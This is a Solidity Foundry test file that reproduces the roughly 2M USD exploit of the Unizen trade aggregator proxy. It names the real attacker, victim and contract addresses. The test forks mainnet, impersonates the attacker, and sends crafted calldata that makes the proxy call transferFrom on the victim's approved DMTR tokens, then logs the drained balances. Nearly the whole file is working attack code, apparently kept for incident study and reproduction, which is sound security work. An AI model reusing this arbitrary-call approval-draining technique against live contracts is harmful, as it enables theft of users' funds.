UnizenIO_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : ~2M USD$
// Attacker : https://etherscan.io/address/0x2ad8aed847e8d4d3da52aabb7d0f5c25729d10df
// Vulnerable Contract : (Unizen: Trade Aggregator Proxy) https://etherscan.io/address/0xd3f64baa732061f8b3626ee44bab354f854877ac
// Attack Tx : https://phalcon.blocksec.com/explorer/tx/eth/0x923d1d63a1165ebd3521516f6d22d015f2e1b4b22d5dc954152b6c089c765fcd ( one of the transactions)

// @Analysis
// https://twitter.com/SlowMist_Team/status/1766311510362734824
// It's an unverified contract.

contract UniZenIOTest is Test {
    address victim = address(0x7feAeE6094B8B630de3F7202d04C33f3BDC3828a);
    address attacker = address(0x2aD8aed847e8d4D3da52AaBB7d0f5c25729D10df);
    address aggregator_proxy = address(0xd3f64BAa732061F8B3626ee44bab354f854877AC);
    IERC20 DMTR = IERC20(0x51cB253744189f11241becb29BeDd3F1b5384fdB);

    function setUp() public {
        vm.createSelectFork("mainnet", 19_393_769);

        emit log_named_uint("Before attack, victim DMTR amount (in ether)", DMTR.balanceOf(victim) / 1 ether);
        emit log_named_uint(
            "Before attack, victim approved DMTR amount (in ether) on UnizenAggregator",
            DMTR.allowance(victim, address(aggregator_proxy)) / 1 ether
        );
    }

    function testExploit() public {
        vm.startPrank(attacker);
        aggregator_proxy.call{value: 1}(
            hex"1ef29a02000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000001a00000000000000000000000002ad8aed847e8d4d3da52aabb7d0f5c25729d10df000000000000000000000000000000000000000000000000000000000000000000000000000000000000000051cb253744189f11241becb29bedd3f1b5384fdb000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000297963e6c9965e0000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000110000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000000000a554e495a454e2d434c49000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000051cb253744189f11241becb29bedd3f1b5384fdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007feaee6094b8b630de3f7202d04c33f3bdc3828a000000000000000000000000d3f64baa732061f8b3626ee44bab354f854877ac0000000000000000000000000000000000000000000000023128cfbd15ed72f600000000000000000000000000000000000000000000000000000000"
        );
        emit log_named_uint("After attack, victim DMTR amount (in ether)", DMTR.balanceOf(victim) / 1 ether);
        emit log_named_uint(
            "After attack, victim approved DMTR amount (in ether) on UnizenAggregator",
            DMTR.allowance(victim, address(aggregator_proxy)) / 1 ether
        );
    }
}